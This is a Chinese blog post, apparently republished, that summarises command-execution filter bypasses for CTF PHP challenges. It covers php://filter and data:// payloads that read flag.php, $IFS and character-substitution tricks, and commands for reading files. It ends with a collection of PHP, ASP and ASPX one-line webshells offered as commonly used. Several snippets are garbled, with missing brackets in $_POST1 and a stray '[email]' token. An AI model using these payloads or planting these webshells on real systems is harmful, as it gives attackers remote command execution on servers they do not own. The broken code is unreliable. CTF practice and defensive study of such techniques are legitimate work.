1. 程式人生 > 其它 >命令執行繞過總結

命令執行繞過總結

無引數命令執行

詳見我的另一篇部落格

傳入變數進行命令執行


可以傳入c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
實驗一下
實驗原始碼如下:

結果如下:

發現並沒有將後面的引數傳進去,也就不會進行匹配
找到flag:

這裡有一個小貼士

這道題過濾了""我們就可以使用
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
這裡使用?>

是因為過濾了;使用這個來代替
不過有一個問題,這裡的1要理解一下並不是變數而是引數,變數必須以字母或_開頭不能以數字開頭

使用data協議進行命令執行

原始碼如下:

payload=c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
<?php system('cat flag.php');?>

使用$IFS環境變數繞過空格

當題目命令執行過濾了空格時我們可以使用$IFS來代替
IFS表示 Internal Field Separator (內部欄位分隔符)

$ IFS=:
$ a=Hello:World
$ echo $a

輸出的是hello world 而不是hello:world
預設是空格好符,在程式設計中可以指定為別的分隔符,例如:

#!/bin/bash
#filename:do.sh
oldIFS=$IFS
IFS=;
a=hello;word
echo $a
IFS=$oldIFs

幾種檢視檔案內容的命令

more:一頁一頁的顯示檔案內容
less:與 more 類似
head:檢視頭幾行
tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:檢視尾幾行
nl:顯示的時候,順便輸出行號
od:以二進位制的方式讀取檔案內容
vi:一種編輯器,這個也可以檢視
vim:一種編輯器,這個也可以檢視
sort:可以檢視
uniq:可以檢視
file -f:報錯出具體內容
grep
1、在當前目錄中,查詢字尾有 file 字樣的檔案中包含 test 字串的檔案,並打印出該字串的行。此時,可以使用如下命令:
grep test *file
strings

其他的一些繞過方式
*替換為?
空格替換為%09
%替換為<>
''\分割繞過

關於antsword連線一句話木馬的一些思考

之前一直不太理解為什麼放上去一句話木馬,再用antsword或者菜刀連線就getshell了呢,在學習命令執行的過程中逐漸理解
其實我們傳進去的一句話木馬就是一個小型的shell終端,一個執行命令的介面來接收我們所傳過去的命令並執行,我們放上去一句話木馬其實相當於在伺服器上創造了一個命令執行的漏洞,然後我們利用這個後門進行後續操作
這裡有一些常用的一句話木馬

<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容錯程式碼
<?php assert($_POST1);?>//使用Lanker一句話客戶端的專家模式執行相關的PHP語句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用這個後,使用菜刀一句話客戶端在配置連線的時候在"配置"一欄輸入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//繞過<?限制的一句話
<script language="php">@eval_r($_POST[sb])</script>
 
//繞過<?php ?>限制的一句話 
 
<?=eval($_POST['cmd']);
php的一句話木馬: <?php @eval($_POST['pass']);?>
asp的一句話是:   <%eval request ("pass")%>
aspx的一句話是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>